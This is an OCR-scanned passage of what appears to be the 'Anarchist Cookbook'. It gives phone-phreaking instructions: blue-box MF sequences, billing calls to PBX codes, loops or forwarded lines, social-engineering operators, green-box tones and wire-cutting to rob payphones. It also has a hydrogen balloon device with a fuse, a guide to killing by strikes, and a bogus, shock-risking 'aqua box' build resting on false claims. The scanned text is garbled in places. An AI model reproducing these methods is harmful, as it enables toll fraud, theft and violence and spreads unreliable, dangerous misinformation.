Message Accounting) & forwarded from the !ocal office. This could 
be caused by equipment failures (ANIF- Automatic Number 
Identification Failure) or if the office is not equipped for CAMA 
(ONI- Operator Number Identification). 


<I once has an equipment failure happen to me & the TSPS operator 
came on and said, "What # are you calling FROM?" Out of curiosity, 
I gave her the number to my CO, she thanked me & then I was 
connected to a conversation that appeared to be between a frameman 
& his wife. Then it started ringing the party I wanted to 

originally call & everyone phreaked out (excuse the pun). I 
immediately dropped this dual line conference! 


You should not mess with the TSPS operator since she KNOWS which 
number that you are calling from. Your number will show up on a 
10-digit LED read-out (ANI board). She also knows whether or not 
you are at a fortress phone & she can trace calls quite readily! 

Out of all of the operators, she is one of the MOST DANGEROUS. 


INWARD operator: 


This operator assists your local TSPS ("0") operatorin connecting 
calls. She will never question a call as long as the call is 


withing HER SERVICE AREA. She can only be reached via other 
operators or by a blue box. From a blue box, you would dial 
KP+NPA+121+ST for the INWARD operator that will help you connect 
any calls within that NPA only. (Blue Boxing will be discussed in 

a future file). 


DIRECTORY ASSISTANCE Operator: 


This is the operator that you are connected to when you dial: 411 

or NPA-555-1212. She does not readily know where you are calling 
from. She does not have access to unlisted numbers, but she DOES 
know if an unlisted # exists for a certain listing. 


There is also a directory assistance operator for deaf people who 
use teletypewriters. If your modem can transfer BAUDOT [(45.5 
baud). One modem that I know of that will do this is the Apple Cat 
acoustic or the Atari 830 acoustic modem. Yea I know they are hard 
to find... but if you wanna do this.. look around!) then you can 

call him/her up and have an interesting conversation. The # is: 
800-855-1155. They use the standard Telex abbreviations such as GA 
for go ahead. they tend to be nicer and will talk longer than your 
regular operators. Also, they are more vulnerable into being 

talked out of information through the process of "social 
engineering" as Chesire Catalyst would put it. 


<Unfortunately, they do not have access to much. J once 
bullshitted with one of these operators a while back and I found 
out that there are 2 such DA offices that handle TTY. One is in 
Philadelphia and the other is in California. They have approx. 7 
operators each. most of the TTY operators think that their job is 
boring (based on an official "BIOC poll"). They also feel that 
they are under-paid. They actually call up a regular DA # to 
process your request (sorry, no fancy computers!) 


Other operators have access to their own DA by dialing 
KP+NPA+131+ST (MF). 


CN/A operators: 


CN/A Operators are operators that do exactly the opposite of what 
directory assistance operators are for. In my experience, these 
operators know more than the DA op's do & they are more 

susceptable to "social engeneering.” It is possible to bullshit a 

CN/A operator for the NON-PUB DA # (ie, you give them the name & 
they give you the unlisted number. See the article on unlisted 


numbers in this cookbook for more info about them.). This is due 
to the fact that they assume that you are a fellow company 
employee. Unfortunately, the AT&T breakup has resulted in the 
break-up of a few NON-PUB DA #'s and policy changes in CN/A 


INTERCEPT Operator: 


The intercept operator is the one that you are connected to when 
there are notenough recordings available to tell you that the # 

has been disconnected or changed. She usually says, "What # you 
callin'?" with a foreign accent. This is the lowest operator 
lifeform. Even though they don't know where you are calling from, 
it is a waste or your time to try to verbally abuse them since 

they usually understand very little English anyway. 


Incidentally, a few area DO have intelligent INTERCEPT Operators. 
OTHER Operators: 


And then there are the: MObile, Ship-to-Shore, Conference, Marine 
Verify, "Leave Word and Call Back," Rout & Rate 
(KP+800+141+1212+ST), & other special operators who have one 
purpose or another in the network. 


Problems with an Operator> Ask to speak to their supervisor... or 
better yet the Group Chief (who is the highest ranking official in 
any office) who is the equivalent of the Madame ina whorehouse. 


By the way, some CO's that willallow you to dial a 0 or | as the 
4th digit, will also allow you to call special operators & other 
fun Tel. Co. #'s without a blue box. This is ver rare, though! For 
example,212-121-1111 will get you a NY Inward Operator. 


Office Hierarchy 


Every switching office in North America (the NPA system), is 
assigned an office name and class. There are five classes of 
offices numbered | through 5. Your CO is most likely a class 5 or 
end office, All long-distance (Toll) calls are switched by a toll 
office which can be a class 4, 3, 2, or 1 office. There is also a 
class 4X office callen an intermediate point. The 4X office is a 
digital one that can have an unattended exchange attached to it 
(known as a Remote Switching Unit (RSU)). 


The following chart will list the Office #, name, & how many of 
those office exist (to the best of my knowledge) in North America: 


Class Name Abb # Existing 
>I Regional Center RC 12 
>2 Sectional Center SC 67 
>3 Primary Center PC 230 
>4 Toll Center TC 1,300 
> 4p Toll Point TP n/a 

> 4X Intermediate Point IP n/a 
>5 End Office EO 19,000 
>6 RSU RSU n/a 


When connecting a call from one party to another, the switching 
equipment usually tries to find the shortest route between the 
class 5 end office of the caller & the class 5 end officeof the 
called party. If no inter-office trunks exist between the two 
parties, it will then move upward to the next highest office for 
servicing calls (Class 4). If the Class 4 office cannot handle the 
call by sending it to another Class 4 or 5 office, it will then be 
sent to the next highest office in the hierarchy (3). The 
switching equipment first uses the high-usage interoffice trunk 
groups, if they are busy then it goes to the fina; trunk groups on 
the next highest level. If the call cannot be connected, you will 
probably get a re-order [120 IPM (interruptions per minute) busy 
signal] signal. At this time, the guys at Network Operations are 
probably shitting in their pants and trying to avoid the dreaded 
Network Dreadlock (as seen on TV!). 


It is also interesting to note that 9 connections in tandem is 
called ring-around-the-rosy and it has never occured in telephone 
history. This would cause an endless loop connection [a neat way 
to really screw up the network]. 


The 10 regional centers in the US & the 2 in Canada are all 
interconnected. they form the foundation of the entire telephone 
network, Since there are only 12 of them, they are listed below: 


Class | Regional Office Location NPA 


Dallas 4 ESS 214 
Wayne, PA 215 
Denver 4T 303 


Regina No, 2SP1-4W (Canada) 306 


St. Louis 4T 314 
Rockdale, GA 404 
Pittsburgh 4E 412 
Montreal No. 1 4AETS (Canada) 504 


That's it for now! More info to come Future update to the 


Cookbook! Have fun! -Jolly Roger- 
Basic Alliance Teleconferencing Courtesy of the Jolly Roger 
Introduction: 


This phile will deal with accessing, understanding and using the Alliance 
Teleconferencing Systems.... it has many sections and for best use should 
be printed out...enjoy... 


Alliance: 

Alliance Teleconferencing is an independant company which allows the general 
public to access and use it's conferencing equipment. Many rumors have 

been floating apound that Alliance is a subsidary of AT&T. 

Well, they are wrong. As stated above, Alliance is an entirely independant 
company. They use sophisticated equipment to allow users to talk to many 
people at once. 


The Number: 
Alliance is in the 700 exchange, thus it is not localized, well, not 
in a way. Alliance is only in certain states, and only 
residents of these certain states can access by dialing direct. This, 
however, will be discussed in a later chapter. The numbers for alliance are 
as follows: 
0-700-456-1000 (chicago) 

-1001 (los angeles) 

-1002 (chicago) 

-1003 (houston) 

~-2000 (7) 

-2001 (2) 

-2002 (?) 

~-2003 (2) 

-3000 (2) 

-3001 (2) 

-3002 (?) 


-3003 (?) 


The locations of the first 4 numbers are known and i have stated them. 
However, the numbers in the 200x and 300x are not definately known. 
Rumor has it that the pattern repeats itself but this has not been proven. 


Dialing: 

As stated before, Alliance is only in certain stated and only these states 

can access them via dialing direct. However, dialing direct causes your 
residence to be charged for the conference and conference bills are not low!!! 
Therefore, many ways have been discovered to start a conference without 
having it billed to ones house. They are as follows: 


1) Dialing through a PBX 

2) Incorporating a Blue Box 
3) Billing to a loop 

4) Billing to a forwarded call 


I am sure there are many more but these are the four i will deal with. 


Dialing through a PBX: 

Probably the easiest method of creating a free conference is through a PBX. 
Simply cail one in a state that has Alliance, input the PBX's code, 

dial 9 for an outside line and then dial alliance. 

An example of this would be: 


PBX: 800-241-4911 
When it answers it will give you atone. At this tone input your code. 
Code: 1234 


After this you will receive another tone, now dial 9 for an outside line. 
You will now hear a dial tone. Simply dial Alliance from this point and 
the conference will be billed to the PBX. 


Using a Blue Box: 

Another rather simple way of starting a conference is with a Blue Box. 

The following procedure is how to box a conference: 

Dial a number to box off of. In this example we will use 609-609-6099 

When the party answers hit 2600hz. This will cause the fone company's 
equipment to think that you have hung up. You will hear a <beep><kerchunk> 


You have now ‘seized’ a trunk. After this, switch to multi-frequency 
and dial: 


KP-0-700-456-x00x-ST 

KP=KP tone on Blue Box 

x=variable between | and 3 

ST=ST tone on Blue Box 

The equipment now thinks that the operator has dialed Alliance from her 
switchboard and the conference shall be billed there. Since Blue Boxing 
is such a large topic, this is as far as I will go into it's uses. 


Billing to a loop: 

A third method of receiving a free conference is by billing out to a 
loop. A loop is 2 numbers that when two people call, they can talk 

to each other. You're saying woop-tee-do right? Wrong! Loops can be 
<very> usefull to phreaks. First, dial alliance direct. After going 
through the beginning procedure, which will be discussed later in this 
tutorial, dial 0 and wait for an Alliance operator. When she answers 
tell her you would like to bill the conference to such and such a 
number. (A loop where your phriend is on the other side) She will then 
call that number to receive voice verification. 

Of course your phriend will be waiting and will accept the charges. 
Thus, the conference is billed to the loop. 


Billing to call forwarding: 

When you dial a number that is call forwarded, it is first answered by 
the original location, then forwarded. The original location will 

hang up if 2600hz is received from only ond end of the line. 
Therefore, if you were to wait after the forwarded residence answered, 
you would receive the original location's dial tone. 


Example: 
Dial 800-325-4067 
The original residence would answer, then forward the call, a second 
type of ringing would be heard. When this second residence answers 
simply wait until they hang up. After about twenty seconds you will 
then receive the original residence's dial tone since it heard 2600hz 
from one end of the line. Simply dial Alliance from this point and the 
conference will be billed to the original residence. 
These are the four main ways to receive a free conference. I am sure 
many more exist, but these four are quite handy themselves, 


Logon Procedure: 


Once Alliance answers you will hear a two-tone combination. This is their 
way of saying 'How many people do you want on the conference dude?’ 
Simply type in a 2-digit combination, depending on what bridge of Alliance 
you are on, between 10 and 59. After this either hit '*’ to cancel the 
conference size and inout another or hit '#' to continue. 

You are now in Alliance Teleconferencing and are only seconds away from 
having your own roaring conference going strong!!! 


Dialing in Conferees: 


To dial your first conferee, dial 1+npat+pretsuff and await his/her answer. 


npa=area code 
pre=prefix 
suff=suffix 


If the number is busy, or if no one answers simply hit '*' and your call 
will be aborted. But, if they do answer, hit the '#' key. 

This will add them to the conference. 

Now commence dialing other conferees. 


Joining Your Conference: 


To join your conference from contro! mode simply hit the '#' key. 
Within a second or two you will be chatting with all your buddies. 
To go back into control mode, simply hit the '#’ key again. 


Transferring Control: 

To transfer control to another conferee, go into control mode, hit the 

# 6+1+npatpretsuff of the conferee you wish to give control to. If after, 
you wish to abort this transfer hit the '*' key. 


<note>:Transfer of control is often not available. When you 
receive a message stating this, you simply cannot transfer control. 


Muted Conferences: 


To request a muted conference simply hit the 9 key. I am not exactly 
sure what a muted conference is but it is probably a way to keep unwanted 
eavesdroppers from listening in. 


Dialing Alliance Operators: 


Simply dial 0 as you would from any fone and wait for the operator to answer. 


Ending Your Conference: 

To end your conference all together, that is kick everyone including 
yourself off, go into control mode and hit '*’...after a few seconds 
simply hang up. Your conference is over. 


Are Alliance Operators Dangerous? 

No, Not in the least. The worst they can do to you while you are having 
a conference is drop all conferees including yourself. This is in no 

way harmful, just a little aggravating. 


Alliance and Tracing: 

Alliance can trace, as all citizens of the United States can. 

But this has to all be pre-meditated and AT&T has to be called and it's 

really a large hastle, therefore, it is almost never done. Alliance simply 

does not want it known that teenagers are phucking them over. 

The only sort of safety equipment Alliance has on-line is a simple pen 

register, This little device simply records all the numbers of the 

conferees dialed. No big deal. All Alliance can do is call up that persons 
number, threaten and question. However, legally, they can do nothing because 
all you did was answer your fone. 


<note>:Almost all instructions are told to the person in command by Alliance 
recordings. A lot of this tutorial is just a listing of those 

commands plus information gathered by either myself or the phellow 
phreaks of the world!!! 


(written by the Trooper) 
Aqua Box Plans by Jolly Roger 


Every true phreaker lives in fear of the dreadded F.B.1. "Lock In Trace.’ 
For a long time, it was impossible to escape from the Lock In Trace. 
This box does offer an escape route with simple directions to it. 

This box is quite a simple concept, and almost any phreaker with basic 
electronics knowledge can construct and use it. 


The Lock In Trace 


A lock in trace is a device used by the F.B.I. to lock into the phone 
users location so that he can not hang up while a trace is in progress, 


For those of you who are not familiar with the conecpt of ‘locking in’, 

then here's a brief desciption. The F.B.I. can tap into a conversation, 

sort of like a three-way call connection. Then, when they get there, 

they can plug electricity into the phone line. All phone connections 

are held open by a certain voltage of electricity. 

That is why you sometimes get static and faint connections when you are 
calling far away, because the electricity has trouble keeping the line 

up. What the lock in trace does is cut into the line and generate that same 
voltage straight into the lines. That way, when you try and hang up, voltage 
is retained. Your phone will ring just like someone was calling you 

even after you hang up. (If you have call waiting, you should understand 
better about that, for call waiting intersepts the electricity and makes 

a tone that means someone is going through your line. Then, it is a matter 
of which voltage is higher. When you push down the receiver,then it see-saws 
the electricity to the other side. When you have a person on each line 

it is impossible to hang up unless one or both of them will hang up. 

If you try to hang up, voltage is retained, and your phone will ring. 

That should give you an understanding of how calling works. Also, when 
electricity passes through a certain point on your phone, the electricity 
causes a bell to ring, or on some newer phones an electronic ring to sound.) 
So, in order to eliminate the trace, you somehow must lower the 

voltage level on your phone line. You should know that every time 
someone else picks up the phone line, then the voltage does decrease 

a little. In the first steps of planning this out, Xerox suggested getting 
about a hundred phones all hooked into the same line that could all 

be taken off the hook at the same time. That would greatly decrease the 
voltage level. That is also why most three-way connections that are using 
the bell service three way calling (which is only $3 a month) become quite 
faint after a while. By now, you should understand the basic idea. You 
have to drain all of the power out of the line so the voltage can 

not be kept up. Rather sudden draining of power could quickly short out 
the F.B.I. voltage machine, because it was only built to sustain 

the exact voltage nessecary to keep the voltage out. For now, imagine 

this. One of the normal Radio Shack generators that you can go 

pick up that one end of the cord that hooks into the central box has a 
phone jack on it and the other has an electrical plug. This way, you 

can "flash" voltage through the line, but cannot drain it. So, some 
modifications have to be done. 


Materials 

A BEOC (Basic Electrical Output Socket), like a small lamp-type 
connection, where you just have a simple plug and wire that would plug 
into a light bulb. 

One of cords mentioned above, if you can't find one then construct your 


PN, 


own... Same voltage connection, but the restrainor must be built in (LE. 
The central box) 

Two phone jacks (one for the modem, one for if you are being traced to 
plug the aqua box into) 

Some creativity and easy work. 


*Notice: No phones have to be destroyed/modified to make this box, so 
don't go out and buy a new phone for it! 


Procedure 

All right, this is a very simple procedure. If you have the BEOC, it could 
drain into anything: a radio, or whatever. The purpose of having 

that is you are going to suck the voltage out from the phone line into 

the electrical appliance so there would be no voltage left to lock 

you in with. 

1)Take the connection cord. Examine the plug at the end. It should have 
only two prongs. If it has three, still, do not fear. Make sure the 

electrical appliance is turned off unless you wanna become a crispy critter 
while making this thing. Most plugs will have a hard plastic design on the 
top of them to prevent you from getting in at the electrical wires inside. 
Well, remove it. If you want to keep the plug (J don't see why...) 

then just cut the top off. When you look inside, Lo and Behold, 

you will see that at the base of the prongs there are a few wires 
connecting in. Those wires conduct the power into the appliance. 

So, you carefully unwrap those from the sides and pull them out until 
they are about an inch ahead of the prongs. If you don't wanna keep the 
jack, then just rip the prongs out. If you are, cover the prongs with 
insultation tape so they will not connect with the wires when the power 

is being drained from the line. 

2)Do the same thing with the prongs on the other plug, so you have the 
wires evenly connected. Now, wrap the end of the wires around each other. 
If you happen to have the other end of the voltage cord hooked into the 
phone, stop reading now, you're too fucking stupid to continue. After 
you've wrapped the wires around each other, then cover the whole thing with 
the plugs with insulating tape. Then, if you built your own control box 
or if you bought one, then cram all the wires into it and reclose it. 

That box is your ticket out of this. 

3)Re-check everything to make sure it's all in place. This is a pretty 
flimsy connection, but on later models when you get more experienced at 
it then you can solder away at it and form the whole device into one 

big box, with some kind of cheap mattel hand-held game inside to be 
the power connector, In order to use it, just keep this box handy. 

Plug it into the jack if you want, but it will slightly lower the 

voltage so it isn't connected. When you plug it in, if you see sparks, 


unplug it and restart the whole thing. But if it just seems fine then leave it. 


Use 

Now, so you have the whole thing plugged in and all... Do not use this 
unless the situation is desperate! When the trace has gone on, don't 
panic, unplug your phone, and turn on the appliance that it was hooked 
to. It will need energy to turn itself on, and here's a great source... 

The voltage to keep a phone line open is pretty small and a simple light 
bulb should drain it all in and probably short the F.B.1. computer at 

the same time. 


Happy boxing and stay free! --=-nnvnnnne. Jolly Roger 


Hindenberg Bomb by the Jolly Roger 


Needed:1 Balloon 

1 Bottle 

1 Liquid Plumr 

1 Piece Aluminum FoilL 
1 Length Fuse 


Fill the bottle 3/4 full with Liquid Plumr and add a little piece of 
aluminum foil to it. Put the balloon over the neck of the bottle until 
the balloon is full of the resulting gas. This is highly flammable 
hydrogen. 

Now tie the baloon. Now light the fuse, and let it rise. 

When the fuse contacts the balloon, watch out!!! 


conenee [=How to Kill Someone==]------------[=WITH YOUR BARE HANDS=}]----- 


AN EXCERPT FROM THE ANARCHISTS COOKBOOK..... 
Courtesy of the Jolly Roger 


This file will explain the basics of hand-to-hand combat, and will tell 
of the best places to strike and kill an enemy... 

When engaged in hand-to-hand combat, your life is always at stake. 
There is only one purpose in combat, and that is to kill your enemy. 
Never face an enemy with the idea of knocking him out. 

The chances are extremely good that he will kill YOU instead. 

When a weapon is not available, one must resort to the full 

use of his natural weapons. The natural weapons are: 


1. The knife edge of your hands. 


2. Fingers folded at the second joint or knuckle. 
3. The protruding knuckle of your second finger. 
4, The heel of your hand. 

5. Your boot 

6. Elbows 

7, Knees 

8. and Teeth. 


Attacking is a primary factor. A fight was never 

won by defensive action. Attack with all of your strength. 

At any point or any situation, some vulnerable point on your enemies 
body will be open for attack. Do this while screaming as screaming has 
two purposes, 


1. To frighten and confuse your enemy. 

2. To allow you to take a deep breath which, in turn, will put 

more oxygen in your blood stream. Your balance and balance of your 
enemy are two inportant factors; since, if you succeed in making 
your enemy lose his balance, the chances are nine to 

one that you can kill him in your next move. The best over-all 

stance is where your feet are spread about shoulders width apart, 
with your right foot about a foot ahead of the left. Both arms 

should be bent at the elbows parallel to each other. Stand on the 

balls of your feet and bend your waist slightly. Kinda of like a 
boxer's crouch. Employing a sudden movement or a scream or yell can 
throw your enemy off-balance. There are many vulnerable points of 
the body. We will cover them now: 


Eyes:Use your fingers in a V-shape and attack in gouging motion. 


Nose:(Extremely vulnerable) Strike with the knife edge of the hand 
along the bridge, which will cause breakage, sharp pain, temporary 
blindness, and if the blow is hard enough, death. Also, deliver a blow 
with the heel of your hand in an upward motion, thiswill shove the 
bone up into the brain causing death. 


Adam's Apple: This spot is usually pretty well protected, but if you 
get the chance, strike hard with the knife edge of your hand. This 
should sever the wind-pipe, and then it's all over in a matter of 
minutes. 


Temple: There is a large artery up here, and if you hit it hard 
enough, it will cause death. If you manage to knock your enemy down, 
kick him in the temple, and he'll never get up again. 


Back of the Neck: A rabbit punch, or blow delivered to the base of 


the neck can easily 


break it, but to be safe, it is better to 


use the butt of a gun or some other heavy blunt object. 


Upper lip: A large 


network of nerves are located. These nerves are 


extrememly close to the skin. A sharp upward blow will cause extreme 


pain, and unconcio 


SHEss. 


Ears: Coming up from behind an enemy and cupping the hands in a clapping 
motion over the victims ears can kill him immediately. The vibrations 
caused from the clapping motion will burst his eardrums, and cause 

internal bleeding in the brain. 


Groin: A VERY vulnerable spot. If left open, get it with knee 
hard, and he'll buckle over very fast. 


Kidneys: A large nerve that branches off to the spinal cord comes very 


close to the skin at 


the kidneys. A direct blow with the knife edge 


of your hand can cause death. 


There are many more ways to kill and injure an enemy, but these should 
work best for the average person. This is meant only as information 
and I would not recommend that you use this for a simple High School Brawl. 


Use these methods 


only, in your opinion, if your life is in danger. 


Any one of these methods could very easily kill or cause permanent damage 
to someone. One more word of caution, you should practice these moves 
before using them on a dummy, or a mock battle with a friend. 


(You don't have to 


actually hit him to practice, just work on accuracy.) 


Phone Systems Tutorial III by The Jolly Roger 


PREFACE: 


THIS ARTICLE WILL FOCUS PRIMARILY ON THE STANDARD WESTERN ELECTRIC 


SINGLE- 
SLOT COIN TEL 
TYPES: 


EPHONE (AKA FORTRESS FONE) WHICH CAN BE DIVIDED INTO 3 


- DIAL-TONE FIRST (DTF) 
- COIN-FIRST (CF): (IE, IT WANTS YOUR $ BEFORE YOU RECEIVE A DIAL TONE) 
- DIAL POST-PAY SERVICE (PP): YOU PAYAFTER THE PARTY ANSWERS 


DEPOSITING COINS (SLUGS): 


ONCE YOU HAV 
GAMUT OF TES? 


E DEPOSITED YOUR SLUG INTO A FORTRESS, IT IS SUBJECTED TO A 


{S. THE FIRST OBSTACAL FOR A SLUG IS THE 


MAGNETIC TRAP. THIS WILL STOP ANY LIGHT-WEIGHT MAGNETIC SLUGS AND 


COINS. 

IF IT PASSES THIS, THE SLUG IS THEN CLASSIFIED AS A NICKEL, DIME, OR 
QUARTER. EACH SLUG IS THEN CHECKED FOR APPROPRIATE SIZE AND WEIGHT. IF 
THESE 

TESTS ARE PASSED, IT WILL THEN TRAVEL THROUGH A NICKEL, DIME, OR QUARTER. 
MAGNET AS APPROPRIATE. THESE MAGNETS SET UP AN EDDY CURRENT EFFECT 
WHICH 

CAUSES COINS OF THE APPROPRIATE CHARACTERISTICS TO SLOW DOWN SO THEY 
WILL FOLLOW THE CORRECT TRAJECTORY. IF ALL GOES WELL, THE COIN WILL 
FOLLOW THE 

CORRECT PATH (SUCH AS BOUNCING OFF OF THE NICKEL ANVIL) WHERE IT WILL 
HOPEFULLY FALL INTO THE NARROW ACCEPTED COIN CHANNEL. 

THE RATHER ELABORATE TESTS THAT ARE PERFORMED AS THE COIN TRAVELS 
DOWN THE 

COIN CHUTE WILL STOP MOST SLUGS AND OTHER UNDESIRABLE COINS, SUCH AS 
PENNIES, WHICH MUST THEN BE RETRIEVED USING THE COIN RELEASE LEVER. 

IF THE SLUG MIRACULOUSLY SURVIVES THE GAMUT, IT WILL THEN STRIKE THE 
APPROPRIATE TOTALIZER ARM CAUSING A RATCHET WHEEL TO ROTATE ONCE FOR 
EVERY 

5-CENT INCREMENT (EG, A QUARTER WILL CAUSE IT TO ROTATE 5 TIMES). 

THE TOTALIZER THEN CAUSES THE COIN SIGNAL OSCILLATOR TO READOUT A 
DUAL- 

FREQUENCY SIGNAL INDICATING THE VALUE DEPOSITED TO ACTS (A COMPUTER) 
OR THE 

TSPS OPERATOR. THESE ARE THE SAME TONES USED BY PHREAKS IN THE 
INFAMOUS RED 

BOXES. FOR A QUARTER, 5 BEEP TONES ARE 

OUTPULSED AT 12-17 PULSES PER SECOND (PPS). A DIME CAUSES 2 BEEP TONES AT 
5 - 8.5 PPS WHILE A NICKEL CAUSES ONE BEEP TONE AT 5S - 8.5 PPS, A BEEP 
CONSISTS OF 2 TONES: 2200 + 1700 HZ. A RELAY IN THE FORTRESS CALLED THE "B 
RELAY" (YES, THERE IS ALSO AN'A RELAY') PLACES A CAPACITOR ACROSS THE 
SPEECH CIRCUIT DURING TOTALIZER READOUT TO PREVENT THE "CUSTOMER" 
FROM 

HEARING THE RED BOX TONES, IN OLDER 3 SLOT PHONES: ONE BELL 

(1050-1100 HZ) FOR A NICKEL, TWO BELLS FOR A DIME, AND ONE GONG (800 HZ) FOR 
A 

QUARTER ARE USED INSTEAD OF THE MODERN DUAL-FREQUENCY TONES. 


WHILE FORTRESSES ARE CONNECTED TO THE CO OF THE AREA, ALL 
TRANSACTIONS ARE 
HANDLED VIA THE TRAFFIC SERVICE POSITION SYSTEM (TSPS). IN AREAS THAT 


te, 


DO NOT HAVE ACTS, ALL CALLS THAT REQUIRE OPERATOR ASSISTANCE, SUCH AS 
CALLING CARD AND COLLECT, ARE AUTOMATICALLY ROUTED TO A TSPS 
OPERATOR 

POSITION. IN AN EFFORT TO AUTOMATE FORTRESS 

SERVICE, A COMPUTER SYSTEM KNOWN AS AUTOMATED COIN TOLL SERVICE 
(ACTS) HAS 

BEEN IMPLEMENTED IN MANY AREAS. ACTS LISTENS TO THE RED BOX SIGNALS 
FROM THE 

FONES AND TAKES APPROPRIATE ACTION. IT IS ACTS WHICH SAYS, "TWO DOLLARS 
PLEASE 

(PAUSE) PLEASE DEPOSIT TWO DOLLARS FOR THE NEXT TEN SECONDS" (AND OTHER 
VARIATIONS). ALSO, IF YOU TALK FOR MORE THAN THREE MINUTES AND THEN 
HANG-UP, 

ACTS WILL CALL BACK AND DEMAND YOUR MONEY. ACTS IS ALSO RESPONSIBLE 
FOR 

AUTOMATED CALLING CARD SERVICE. ACTS ALSO PROVIDE TROUBLE DIAGNOSIS 
FOR 

CRAFTSPEOPLE (REPAIRMEN SPECIALIZING IN FORTRESSES). FOR EXAMPLE, THERE 
ISA 

COIN TEST WHICH IS GREAT FOR TUNING UP RED BOXES. IN MANY AREAS THIS 
TEST CAN 

BE ACTIVATED BY DIALING 09591230 AT A FORTRESS (THANKS TO KARL MARX FOR 
THIS 

INFORMATION). ONCE ACTIVATED IT WILL REQUEST THAT YOU DEPOSIT VARIOUS 
COINS. 

IT WILL THEN IDENTIFY THE COIN AND OUTPULSE THE APPROPRIATE RED BOX 
SIGNAL. THE COINS ARE USUALLY RETURNED WHEN YOU HANG UP. 

TO MAKE SURE THAT THERE IS ACTUALLY MONEY IN THE FONE, THE CO INITIATES 
A 

"GROUND TEST" AT VARIOUS TIMES TO DETERMINE IF A COIN IS ACTUALLY IN THE 
FONE. THIS IS WHY YOU MUST DEPOSIT AT LEAST A NICKEL IN ORDER TO USE A 
RED 

BOX! 


GREEN BOXES: 


PAYING THE INITIAL RATE IN ORDER TO USE A RED BOX (ON CERTAIN FORTRESSES) 
LEFT A SOUR TASTE IN MANY RED BOXER'S MOUTHS THUS THE GREEN BOX WAS 
INVENTED. 

THE GREEN BOX GENERATES USEFUL TONES SUCH AS COIN COLLECT, COIN 
RETURN, AND 

RINGBACK. THESE ARE THE TONES THAT ACTS OR THE TSPS OPERATOR WOULD 
SEND TO 

THE CO WHEN APPROPRIATE. UNFORTUNATELY, THE GREEN BOX CANNOT BE USED 


ATA 
FORTRESS STATION BUT IT MUST BE USED BY THE CALLED PARTY. 


HERE ARE THE TONES: 

COIN COLLECT = 700 + 1100 HZ 

COIN RETURN 1100 + 1700 HZ 

RINGBACK 700 + 1700 HZ 
BEFORE THE CALLED PARTY SENDS ANY OF THESE TONES, AN OPERATOR 
RELEASED 
SIGNAL SHOULD BE SENT TO ALERT THE MF DETECTORS AT THE CO. THIS CAN BE 
ACCOMPLISHED BY SENDING 900 + 1500 HZ OR A SINGLE 2600 HZ WINK (90 MS) 
FOLLOWED BY A 60 MS GAP AND THEN THE APPROPRIATE SIGNAL FOR AT LEAST 
900 MS. 
ALSO, DO NOT FORGET THAT THE INITIAL RATE IS COLLECTED SHORTLY BEFORE 
THE 3 
MINUTE PERIOD IS UP. INCIDENTALLY, ONCE THE ABOVE MF TONES 
FOR COLLECTING AND RETURNING COINS REACH THE CO, THEY ARE CONVERTED 
INTO 
AN APPROPRIATE DC PULSE (-130 VOLTS FOR RETURN & +130 VOLTS FOR COLLECT). 
THIS 
PULSE IS THEN SENT DOWN THE TIP TO THE FORTRESS. THIS CAUSES THE COIN 
RELAY 
TO EITHER RETURN OR COLLECT THE COINS. THE ALLEGED "T-NETWORK" TAKES 
ADVANTAGE 
OF THIS INFORMATION. WHEN A PULSE FOR COIN COLLECT (+130 VDC) IS SENT 
DOWN 
THE LINE, IT MUST BE GROUNDED SOMEWHERE. THIS IS USUALLY EITHER THE 
YELLOW OR BLACK WIRE. THUS, IF THE WIRES ARE EXPOSED, THESE WIRES CAN 
BE 
CUT TO PREVENT THE PULSE FROM BEING GROUNDED. WHEN THE THREE MINUTE 
INITIAL PERIOD IS ALMOST UP, MAKE SURE THAT THE BLACK & YELLOW WIRES 
ARE 
SEVERED; THEN HANG UP, WAIT ABOUT 15 SECONDS IN CASE OF A SECOND PULSE, 
RECONNECT THE WIRES, PICK UP THE FONE, HANG UP AGAIN, AND IF ALL GOES 
WELL IT 
SHOULD BE "JACKPOT" TIME. 


PHYSICAL ATTACK: 


ATYPICAL FORTRESS WEIGHS ROUGHLY 50 LBS. WITH AN EMPTY COIN BOX. MOST 
OF 

THIS IS ACCOUNTED FOR IN THE ARMOR PLATING. WHY ALL THE SECURITY? WELL, 
BELL CONTRIBUTES IT TO THE FOLLOWING: "SOCIAL CHANGES DURING THE 1960'S 
MADE THE MULTISLOT COIN STATION A PRIME TARGET FOR: VANDALISM, STRONG 


ARM 

ROBBERY, FRAUD, AND THEFT OF SERVICE. THIS BROUGHT ABOUT THE 
INTRODUCTION OF 

THE MORE RUGGED SINGLE SLOT COIN STATION AND A NEW ENVIRONMENT FOR 
COIN 

SERVICE.” AS FOR PICKING THE LOCK, I WILL QUOTE MR. PHELPS: 

"WE OFTEN FANTASIZE ABOUT 'PICKING THE LOCK' OR ‘GETTING A MASTER 
KEY.’ WELL, YOU CAN FORGET ABOUT IT. I DON'T LIKE TO DISCOURAGE PEOPLE, 
BUT 

IT WILL SAVE YOU FROM WASTING ALOT OF OUR TIME--TIME WHICH CAN BE PUT 
TO 

BETTER USE (HEH, HEH)." AS FOR PHYSICAL ATTACK, THE COIN PLATE 

IS SECURED ON ALL FOUR SIDE BY HARDENED STEEL BOLTS WHICH PASS THROUGH 
TWO 

SLOTS EACH. THESE BOLTS ARE IN TURN INTERLOCKED BY THE MAIN LOCK. 
ONE PHREAK I KNOW DID MANAGE TO TAKE ONE OF THE 'MOTHERS' HOME (WHICH 
WAS 

ATTACHED TO A PIECE OF PLYWOOD AT A CONSTRUCTION SITE; OTHERWISE, THE 
PERMANENT ONES ARE A BITCH TO DETACH FROM THE WALL!). IT TOOK HIM 
ALMOST 

TEN HOURS TO OPEN THE COIN BOX USING A POWER DRILL, SLEDGE HAMMERS, 
AND CROW 

BARS (WHICH WAS EMPTY -- PERHAPS NEXT TIME, HE WILL DEPOSIT A COIN FIRST 
TO 

HEAR IF IT SLUSHES DOWN NICELY OR HITS THE EMPTY BOTTOM WITH A CLUNK.) 
TAKING THE FONE OFFERS A HIGHER MARGIN OF SUCCESS. ALTHOUGH THIS MAY 
BE 

DIFFICULT OFTEN REQUIRING BRUTE FORCE AND THERE HAS BEEN SEVERAL CASES 
OF 

BACK AXLES BEING LOST TRYING TO TAKE DOWN A FONE! A QUICK AND DIRTY 
WAY TO 

OPEN THE COIN BOX IS BY USING A SHOTGUN. IN DETROIT, AFTER ECOLOGISTS 
CLEANED OUT A MUNICIPAL POND, THEY FOUND 168 COIN PHONE RIFLED. 

IN COLDER AREAS, SUCH AS CANADA, SOME SHREWD PEOPLE TAPE UP THE FONES 
USING 

